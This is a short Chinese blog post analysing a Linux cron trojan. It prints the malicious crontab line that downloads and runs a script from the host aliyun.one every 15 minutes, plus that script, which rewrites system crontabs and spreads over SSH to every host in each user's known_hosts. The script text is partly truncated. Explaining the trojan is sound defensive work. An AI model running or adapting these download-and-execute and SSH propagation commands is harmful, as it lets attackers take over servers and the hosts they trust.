刚才在逛V2EX的时候发现了有人问到这个木马,现在我们来看一下。

木马内容

以下命令写入crontab

*/15 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one)|sh

aliyun.one 内容

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp chmod 1777 /tmp echo "*/10 * * * * (curl -fsSL -m180 aliyun.one||wget -q -T180 -O- aliyun.one||python -c 'import urllib;print urllib.urlopen(\"http://aliyun.one\").read()')|sh"|crontab - cat > /etc/crontab </dev/null 2>&1 &" & done fi for file in /home/* do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h "(curl -fsSL aliyun.one||wget -q -O- aliyun.one||python -c 'import urllib;print urllib.urlopen(\"http://aliyun.one\").read()')|sh >/dev/null 2>&1 &" & done fi fi done # 

分析

在肉鸡里面执行crontab,这样的话如果用户里存在信任的主机,并且有密匙的话,这样就连信任的主机也会变成肉鸡了。

虽然现在看上去他只是定时去拉取了脚本,但是当他准备发动攻击,修改了脚本内容以后性质就不同了。


评论

《“Linux 定时任务一句话木马”》 有 2 条评论

  1. 搞这些的人真的坏

    1. 嗯,我们也是偶然发现的这个。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注